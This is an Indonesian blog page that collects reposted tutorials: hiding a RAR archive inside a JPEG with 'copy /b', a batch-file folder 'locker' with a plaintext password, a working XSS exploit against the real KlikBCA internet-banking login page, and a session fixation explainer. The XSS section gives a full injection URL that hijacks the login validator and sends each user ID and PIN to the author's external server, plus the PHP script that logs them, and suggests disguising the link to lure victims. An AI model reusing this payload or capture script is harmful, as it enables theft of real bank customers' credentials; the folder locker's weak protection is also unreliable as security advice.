Sebenarnya teknik steganografi ini pernah saya posting pada tahun 2009 disini, tadi gak sengaja bongkar bongkar arsip di klikedukasi, eh ketemu lagi dengan teknik ini. Kenapa saya bahas lagi? Saya hanya ingin mencoba, apakah teknik ini masih bisa dilakukan dengan sistem operasi windows 7 atau gak. Setelah saya coba, ternyata masih bisa. Artikel ini juga sebagai penyempurna artikel sebelumnya, sebab pada tulisan yang dulu saya tidak menyertakan langkah langkahnya dengan panduan gambar. Mudah mudahan dengan adanya artikel lanjutan ini, bisa lebih mudah untuk dipahami.
Apaan tuh steganografi?
Menurut wikipedia Steganografi adalah seni dan ilmu menulis pesan tersembunyi atau menyembunyikan pesan dengan suatu cara sehingga selain si pengirim dan si penerima, tidak ada seorangpun yang mengetahui atau menyadari bahwa ada suatu pesan rahasia di dalamnya. lebih jelasnya bisa anda telusuri sendiri disini
Sederhananya steganografi merupakan teknik untuk menyembunyikan tulisan atau file ke dalam sebuah file. bingung yak?
Coba bandingkan kedua gambar ini, apakah ada perbedaannya?

Jika dilihat sepintas, kedua gambar tersebut sama persis, gak ada perbedaan sama sekali. Sekarang coba anda simpan kedua gambar tersebut ke komputer anda, kemudian bandingkan ukuran (size) kedua file gambar tersebut. Gambar sebelah kiri yang bernama klikedukasi.jpg berukuran 32,7 kb dan tidak saya manipulasi sedikitpun, sedangkan gambar sebelah kanan bernama hasil.jpg berukuran lebih besar dari gambar pertama yaitu 50,6 kb.
Anda bisa pastikan sendiri gambar di atas sama persis, yang membedakan hanya ukurannya. Kenapa bisa ukurannya berbeda? karena saya sudah menyisipkan satu buah file ke dalam gambar yang sebelah kanan.
Untuk membuktikannya gimana? Setelah anda simpan, coba anda klik kanan gambar yang bernama hasil.jpg kemudian open with winrar, atau bisa dengan cara merename nama hasil.jpg menjadi hasil.rar
Apa yang terjadi? anda akan melihat di dalam file tersebut ada file bernama logout.php. Nah loh keliatan kan ada file yang saya sisipkan. Oiya saya asumsikan di komputer anda sudah terinstall program winrar sebelumnya.
Trus bagaimana cara menyisipkan file ke dalam gambar tersebut? Sebenarnya sangat mudah, kita cukup menggunakan sedikit perintah yang ada di command prompt (CMD) windows.
Dalam uji coba kali ini saya hendak menyatukan file klikedukasi.jpg dengan file logout.php, nanti setelah disatukan akan menjadi file hasil.jpg seperti di atas.
Mari kita coba. ikuti step step berikut:
1. Buat folder bernama terserah anda, saya memberi nama folder ini steganografi letaknya di drive D:\>
2. Copy paste file gambar klikedukasi.jpg dan file php logout.php ke dalam folder tadi yang kita buat. Buatlah file steganografi.rar yang di dalamnya terdapat 2 buah file di atas. Biar lebih jelas saya kasih screenshot seperti di bawah.

3. Persiapan filenya sudah kita lakukan, kini saatnya masuk ke command prompt, buka cmd dengan cara tekan tombol window + R ketik cmd dan enter akan terbuka jendela command prompt seperti ilustrasi berikut

4. Masuk pada direktori tempat menyimpan folder steganografi tadi, saya menyimpannya di drive D, alamat lengkapnya seperti ini D:\steganografi
:: Masuk terlebih dahulu ke drive D, kemudian pindah ke folder steganografi. Caranya ketik pada command prompt D: tekan enter
:: Kemudian pindah ke direktori steganografi dengan mengetik cd steganografi akhiri dengan enter
:: Kita sekarang telah berhasil masuk ke folder steganografi, ditandai dengan adanya tulisan D:\steganografi> di command prompt.
5. Nah sekarang saatnya kita memnyatukan dua file tadi. gimana caranya? ketik perintah berikut:
copy /b klikedukasi.jpg+steganografi.rar hasil.jpg
Akhiri dengan menekan tombol enter. Gambar di bawah ini menunjukkan perintah yang kita gunakan dari langkah nomer 4 tadi.

Daaaaaan coba cek di folder steganografi kita, jika anda berhasil maka akan ada file bernama hasil.jpgdalam folder tersebut.Teknik di atas bisa juga anda gunakan untuk menyembunyikan banyak file dalam satu file gambar. Saya pernah membuat file sejenis ini yang di dalamnya berisi beberapa program dan beberapa folder, file gambar yang saya buat itu besarnya mencapai 76 MB.
Sumber: http://www.klikedukasi.com/2012/01/menyembunyikan-file-ke-dalam-gambar.html

Membuat Password Pada Folder Penting

Membuat Password Pada Folder Penting





Cara Memberi/Memasang Password Pada Folder- Terkadang ada file atau informasi yang tersimpang didalam suatu folder komputer yang menurut kita sangat rahasia sehingga orang lain tidak dapat membuka apalagi membaca file tersebut. Seperti yang sifatnya pribadi, rahasia perusahaan, rekam medis dan sebagainya. Dengan kata lain folder tersebut harus diproteksi dengan password. oleh karena itu di butuhkan Cara Membuat Password Pada Folder.

Banyak sekali software untuk mengunci sebuah file atau folder agar tidak mudah diakses orang lain. Dengan keyword “Lock Folder Software” maka akan didapati sekian banyak software yang menawarkan proteksi untuk file atau folder. Dengan berlabel Free Download / Trial -> dan setelah diinstall maka kita disuruh mendaftar (register) dan akhirnya kita disuruh membeli.
Buka NOTEPAD Dengan Klik Start -> All Programs -> Accessories -> Notepad

Cara berikut ini adalah cara yang paling gampang dan tidak harus bayar. Ikuti trik Cara Membuat Password Pada Folder berikut ini :

1. Copy dan Paste-kan kode dibawah ini kedalam Notepad

cls
@ECHO OFF
title Folder Locker
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p “pass=>”
if NOT %pass%==PasswordAnda goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
Catatan: PasswordAnda -> Ganti dengan password yg anda inginkan.


2. Simpan file tersebut dengan Nama FolderLock.Bat pada folder yang akan dikunci

3. Tutup dan kemudian buka lagi file tersebut, dan akan membuat folder penting.


4. Ketikkan kode password Anda
5. Klik lagi, dan akan tertampil perintah “Do you want to lock the file Y/N“.

6. Ketikkan “Y” dan tekan Enter.
7. Untuk membuka folder penting, masukkan password anda yang tadi.


Jangan Lupa: PasswordAnda -> Ganti dengan password yg anda inginkan.
Selamat mencoba dan mempraktekkannya :)

Menjaring Password KlikBCA dengan XSS

Menjaring Password KlikBCA dengan XSS

Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.

Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.
Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.
Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.
The Vulnerability
xss bug
xss bug
Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
    var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (‘). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (‘). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);<!--
URL di atas menghasilkan source html berikut:
1
2
3
4
5
6
<script type="text/javascript">
    var err='TEST';alert(document.cookie);<!--'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):
klikbca3
Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.
Strategy and Tactics
Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:
  1. Meng-intercept klik tombol submit
  2. Mengirimkan user dan password ke server saya
  3. Mencatat user dan password di server saya
Intercepting Submit Button
Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.
1
2
3
<input type="Submit" value="LOGIN" name="value(Submit)"
onclick="javascript:return Login_Form_Validator(document.frmParam)"
onmouseover="this.style.cursor='hand'" />
Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.
var blnSubmitted = false;
function Login_Form_Validator( theForm ) {
 
  document.forms[0]['value(user_id)'].autocomplete = 'off';
  document.forms[0]['value(pswd)'].autocomplete = 'off';
 
  var blnResponse = false;
  if (blnSubmitted) {
    return false;
  }
 
  var strErrMsg = "";
  if( document.forms[0]['value(user_id)'].value == '') {
    alert("Silakan mengisi User ID anda/Please input your User ID");
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
  if( document.forms[0]['value(user_id)'].value.length>12) {
    alert("User ID/Password Anda salah / Your User ID/Password is Wrong");
    document.forms[0]['value(user_id)'].select();
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
 
  if(document.forms[0]['value(pswd)'].value == '') {
    alert("Silakan mengisi PIN anda/Please input your PIN");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
  if(document.forms[0]['value(pswd)'].value.length<6) {
    alert("PIN harus 6 Angka/PIN must be 6 digits");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
 
  //if(strErrMsg != '') {
  //  alert(strErrMsg);
  //  return false;
  //}
 
  //blnSubmitted =  confirm("Click OK to login.");
  if ( !blnSubmitted ) {
    blnSubmitted = true;
    blnResponse = true;
  }
 
  //if('< %= blnLogout %>'=='true')
 //blnResponse = false;
 
  return blnResponse;
}
Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.
Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag <noscript> dan tag awal komentar <! agar javascript pada baris sesudahnya diabaikan browser.
Jadi URL untuk menjalankan taktik saya di atas adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--
URL tersebut menghasilkan source html berikut:
<script>
    var err='TEST';function Login_Form_Validator(theForm){alert('TEST');return false;}</script><noscript><!--'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  </script>
function overridden
function overridden
Untuk menguji versi Login_Form_Validator manakah yang dipakai, klik tombol LOGIN tanpa mengisi username dan password. Ternyata yang muncul adalah dialog box “TEST”. Itu berarti fungsi yang berlaku adalah versi saya, HORE! Kalau versi aslinya, muncul peringatan bahwa user dan password harus diisi. Oke taktik pertama sukses. Mari kita Lanjut ke taktik ke-2.
Sending username and password
Oke, sekarang ketika user mengklik submit, code kita akan di-eksekusi. Now what? Selanjutnya tentu saja kita harus membuat code untuk mengirimkan user dan password pada saat user mengklik tombol submit. Untuk bisa mengirimkan data, berarti kita harus membuat browser melakukan request ke server saya. Saya menggunakan image untuk tujuan itu. Lho kok image? Iya karena ketika browser menemukan tag image, saat itu juga browser akan melakukan request GET ke server tempat image itu berada sesuai isi atribut SRC. Namun hal yang lebih penting lagi adalah, bila kita ubah atribut src dari object image dengan javascript, maka browser akan mengirimkan request GET sekali lagi. Request ini yang lebih penting, bukan request GET image pertama ketika halaman diload.
Saya definisikan tag image dengan dimensi 1×1 agar invisible, dengan nama myimage sebagai berikut:
<img src="http://www.ilmuhacking.com/testcapture.php" name="myimage" width="1" height="1">
Sedangkan variabel yang berisi username dan password adalah:
document.forms[0]['value(user_id)'].value
document.forms[0]['value(pswd)'].value
Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:
'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value
Selanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.
Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.
Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:
var abc=false;
function Login_Form_Validator(theForm {
    if (!abc) {
        document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php'+'?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value;
        abc = true;
        return false;
    }
}
Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--
URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini:

Klik di sini untuk login.
Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:
http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456
Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.
Saving User and Password
Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL www.ilmuhacking.com/testcapture.php
Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:
1
2
3
4
5
6
7
8
9
10
11
<?php
$file=fopen("capture.txt","a+");
$userid=$_GET["userid"];
$passwd=$_GET["passwd"];
$ipaddr=$_SERVER["REMOTE_ADDR"];
$now = date("Ymd H:i:s");
if (!empty($userid)) {
        fwrite($file,"$userid =&amp;gt; $passwd (at $now from $ipaddr)\n");
}
fclose($file);
?>
Kesimpulan
Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities
Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

sumber:http://www.ilmuhacking.com/web-security/menjaring-password-di-klikbca-dengan-xss/

Mengenal Session Fixation Attack

Mengenal Session Fixation Attack

Artikel ini adalah artikel lanjutan dari session hijacking basics. Session fixation attack adalah salah satu dari 3 jurus untuk mendapatkan sessionid korban. Jurus ini sangat berbahaya karena attacker tidak perlu capek menebak atau menangkap sessionid korban.

Stealing Session ID
Dalam artikel saya tentang Session Hijacking Basics, saya menjelaskan bahwa session id adalah kunci dari sebuah session. Jadi untuk membajak session, attacker tidak perlu username atau password, attacker cuma perlu session id. Lebih tepatnya adalah session id dari korban yang sessionnya masih hidup (korban sudah login dan belum logout).
Bagaimana cara attacker mendapatkan session id korban? Dalam artikel session hijacking basics saya juga menjelaskan bahwa ada 3 cara untuk mendapatkan sessionid, yaitu:
  1. Predict
  2. Capture
  3. Fixate
Lebih lengkapnya silakan baca di artikel saya tersebut, dalam artikel ini saya hanya akan fokus membahas tentang cara ke-3 yaitu Fixation.
Session Fixation Attack
Mencari tahu session id korban dalam situasi tertentu sulit untuk dilakukan.  Berbeda dengan serangan lainnya, tujuan dari session fixation attack bukanlah mencuri sessionid, tapi membuat korban menggunakan sessionid yang telah disiapkan sebelumnya.
Dalam serangan session fixation, attacker MEMILIHKAN sessionid untuk korban
Dengan memilihkan sessionid untuk korban, attacker tidak perlu repot mencari tahu sessionid korban karena attacker sudah mengetahuinya sejak awal (karena dia yang memilih).
Sessionid dikirimkan ke server dengan dua cara:
  • query string (url rewriting), contohnya index.php?PHPSESSID=abcd
  • cookie
Inisiatif pembangkitan/pemilihan sessionid seharusnya dilakukan oleh server, bukan oleh client. Serangan session fixation bisa terjadi karena server mau menerima usulan sessionid dari client baik yang dikirimkan melalui cookie maupun query string (url rewriting). Usulan sessionid dari client bisa digenerate sendiri oleh client secara bebas, atau digenerate oleh server.
Fixation attack bisa terjadi karena server mau menerima usulan sessionid dari client
Bila server mau menerima usulan sessionid yang dikirim melalui query string, berarti serangan session fixation bisa dilakukan secara remote. Tapi bila server hanya mau menerima usulan sessionid dari cookie, maka serangan hanya bisa dilakukan secara lokal di browser korban. Serangan remote jauh lebih berbahaya karena cukup dengan memberikan link dan membuat korban mengklik link tersebut, maka korban sudah termakan jebakan attacker untuk memakai sessionid yang sudah dipilih attacker.
Remote Session Fixation
Serangan remote session fixation secara dengan sessionid bebas dipilih oleh attacker diperlihatkan pada gambar berikut:
remote fixation attack
remote fixation attack
Dalam kasus di atas attacker tidak perlu me-request sessionid dari server, karena bisa men-generate sendiri. Ketika korban login dengan link yang diberikan korban, maka korban telah terjebak menggunakan sessionid yang dipilih attacker untuk mengakses accountnya.
Ada juga server yang tidak mengijinkan penggunaan sessionid yang tidak dibuat oleh server. Dalam kasus ini skenarionya mirip namun ditambahkan satu langkah untuk me-request sessionid dari server. Perhatikan gambar berikut ini:
remote session fixation
remote session fixation
Mirip dengan skenario sebelumnya, gambar di atas memperlihatkan attacker meminta session id ke server terlebih dahulu. Perhatikan bahwa server mungkin memberikan sessionid dalam bentuk cookie, namun ketika attacker menjebak korban, attacker memberikan sessionid dalam bentuk query string kepada korban. Jangan bingung, server biasanya menerima sessionid dalam cookie maupun url rewriting.
Dalam server yang menerima sessionid dalam cookie dan url rewriting, cookie mempunyai prioritas lebih dibanding url rewriting.
Jadi bila di browser sudah ada cookie JSESSIONID=abcd, ketika browser mengakses url dengan query string ?JSESSIONID=wxyz, maka sessionid yang dianggap adalah abcd karena berasal dari cookie.
Ada server yang lebih suka menggunakan cookie daripada query string sehingga server itu selalu memberikan cookie berisi sessionid bila menerima usulan sessionid melalui query string. Jadi untuk request selanjutnya klien tidak perlu menggunakan query string lagi, karena setiap request sessionid otomatis terikirim melalui cookie. Dalam kasus seperti ini serangan menjadi lebih mudah karena begitu korban mengklik link yang mengandung sesionid pada query stringnya, maka selanjutnya korban tidak perlu lagi menambahkan query string sessionid pada requestnya.
Local Session Fixation
Bila server hanya menerima usulan sessionid dari cookie, maka jurus session fixation tidak bisa dilakukan secara remote. Attacker harus menciptakan cookie berisi sessionid ke dalam browser korban. Untuk itu diperlukan akses fisik atau akses remote shell/desktop di komputer korban. Bila memiliki akses fisik atau remote desktop/shell, maka serangan ini mudah sekali dilakukan, cukup dengan membuat cookie berisi sessionid yang tanggal expirednya ditentukan masih sangat lama di komputer korban. Selanjutnya setiap korban membuka halaman yang ditarget attacker, maka sessionid yang dipakai adalah sessionid yang sudah dipilih oleh attacker.
Skenarionya adalah attacker mengakses situs yang ditargetnya, sehingga akan tercipta cookie di browser korban. Attacker memodifikasi waktu expired cookie tersebut menjadi sangat lama. Kemudian attacker mencatat sessionid tersebut dan meninggalkan komputer korban seperti semula.
Agar session tidak dianggap expired oleh server, dari komputer lain, attacker akan terus menerus mengakses situs target dengan cookie berisi sessionid tersebut. Begitu korban login dengan sessionid tersebut, maka attacker akan bisa mengakses account korban juga.
Mencoba Session Fixation di Komputer Sendiri
Untuk lebih mengerti mekanisme kerja session handling, saya akan membuat program kecil dalam php di URL komputer sendiri http://192.168.0.10/mylab/counter.php. Sebelumnya perlu diketahui bahwa sessionid dalam php defaultnya diberi nama PHPSESSID dan dalam contoh ini saya menggunakan nama defaultnya.
1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
print "Session ID: ".session_id()."<br/>";
 
if (!isset($_SESSION["c"])) {
        $_SESSION["c"] = 0;
} else {
        $_SESSION["c"]++;
}
print $_SESSION["c"]."<br/>";
?>
Server Menentukan Session ID
Bila saya me-request URL tersebut tanpa mengirimkan sessionid dalam cookie maupun query string, maka server akan men-generate sessionid sendiri dan memberikan saya cookie. Sebelum request saya menghapus semua cookie dari host 192.168.0.10 agar tidak ada sessiondid yang terkirim dalam request. Beginilah request yang dilakukan browser saya:
1
2
3
4
5
6
7
8
9
10
11
http://192.168.0.10/mylab/counter.php
 
GET /mylab/counter.php HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Perhatikan bahwa pada request tersebut tidak ada satupun sessionid yang dikirimkan dalam bentuk cookie maupun query string. Mari kita lihat response yang diberikan server.
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 08:12:07 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=of6k7hsg17vl9jrg0b7lhrlck6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 49
Keep-Alive: timeout=60000, max=489
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Pada baris ke-5 dari response terlihat bahwa server memberikan sessionid “of6k7hsg17vl9jrg0b7lhrlck6″ dalam bentuk cookie. Dalam kasus ini terlihat bahwa server yang menentukan sessionid dari sebuah session.
Client Menentukan Session ID dengan Query String
Kalau attacker ingin melakukan session fixation, maka sessionid harus ditentukan oleh client, bukan server. Sekarang kita coba memberikan sessionid dalam query string dan kita lihat request dan response yang terjadi. Seperti biasa saya menghapus semua cookie dari host tersebut sebelum melakukan request. Berikut requst yang terjadi:
1
2
3
4
5
6
7
8
9
10
11
http://192.168.0.10/mylab/counter.php?PHPSESSID=abcdef1234567890
 
GET /mylab/counter.php?PHPSESSID=abcdef1234567890 HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Dalam query string saya menambahkan PHPSESSID=abcdef1234567890 dengan maksud untuk memaksa server memakai sessionid tersebut sebagai sessionid dari session yang akan saya pakai. Mari kita lihat response yang diberikan server.
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 08:22:42 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 39
Keep-Alive: timeout=60000, max=490
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
Session ID: abcdef1234567890<br/>0<br/>
Terlihat bahwa server menerima usulan saya untuk memakai “abcdef1234567890″ sebagai sessionid, terlihat dari hasil fungsi session_id() yang menghasilkan string tersebut. Dalam kasus ini saya sukses memaksa server memakai sessionid yang saya pilih melalui query string. Bila link http://192.168.0.10/mylab/counter.php?PHPSESSID=abcdef1234567890 saya berikan pada korban, dan korban mengkliknya, maka saya dan korban akan sama-sama memakai sessionid “abcdef1234567890″. Apa saja yang bisa diakses oleh korban saya juga bisa mengaksesnya.
Client Menentukan Session ID dengan Cookie

add session cookie
add session cookie
Setelah mencoba query string, sekarang kita coba memberikan sessionid dalam cookie dan kita lihat request dan response yang terjadi. Kali ini saya harus menambahkan cookie berisi “PHPSESSID=0123456789″ sebelum melakukan request. Berikut requst yang terjadi:
1
2
3
4
5
6
7
8
9
10
11
12
http://192.168.0.10/mylab/counter.php
 
GET /mylab/counter.php HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=01234567890
Pada baris terakhir terlihat cookie yang saya kirimkan berisi sessionid. Saya ingin server menerima usulan saya untuk memakai “01234567890″ sebagai sessionid. Berikut adalah response dari server.
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 08:34:08 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 34
Keep-Alive: timeout=60000, max=500
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
Session ID: 01234567890<br/>0<br/>
Terlihat bahwa hasil dari fungsi session_id() menunjukkan bahwa session tersebut menggunakan “01234567890″ sebagai sessionid. Jadi saya sukses memaksa server memakai usulan saya sebagai sessionid.
Pencegahan
Anda telah melihat dalam contoh php di atas bahwa serangan session fixation tidak akan terjadi bila sessionid ditentukan oleh server, bukan oleh client. Dalam contoh php di atas bila client tidak memberikan sessionid dalam bentuk apapun, maka serverlah yang akan memberi sessionid. Jadi agar anda tidak terjebak memakai sessionid yang sudah diketahui orang lain, sebelum anda melakukan koneksi atau login, pastikan:
  • Tidak ada cookie berisi sessionid untuk domain situs yang akan anda kunjungi.
  • Pastikan URL yang anda kunjungi tidak mengandung query string yang berisi sessionid.
Kesimpulan
Session fixation adalah teknik mendapatkan sessionid yang sangat efektif. Cara ini lebih mudah dilakukan karena tidak perlu menebak sessionid, melakukan sniffing atau melakukan exploitasi XSS. Namun sayang awareness akan adanya teknik ini masih kurang, padahal di luar sana banyak situs yang rentan terhadap serangan ini. Dalam artikel berikutnya saya akan memberikan contoh serangan session fixation pada situs internet banking.

sumber:
http://www.ilmuhacking.com/web-security/mengenal-session-fixation-attack/

powered by Blogger | WordPress by Newwpthemes | Converted by BloggerTheme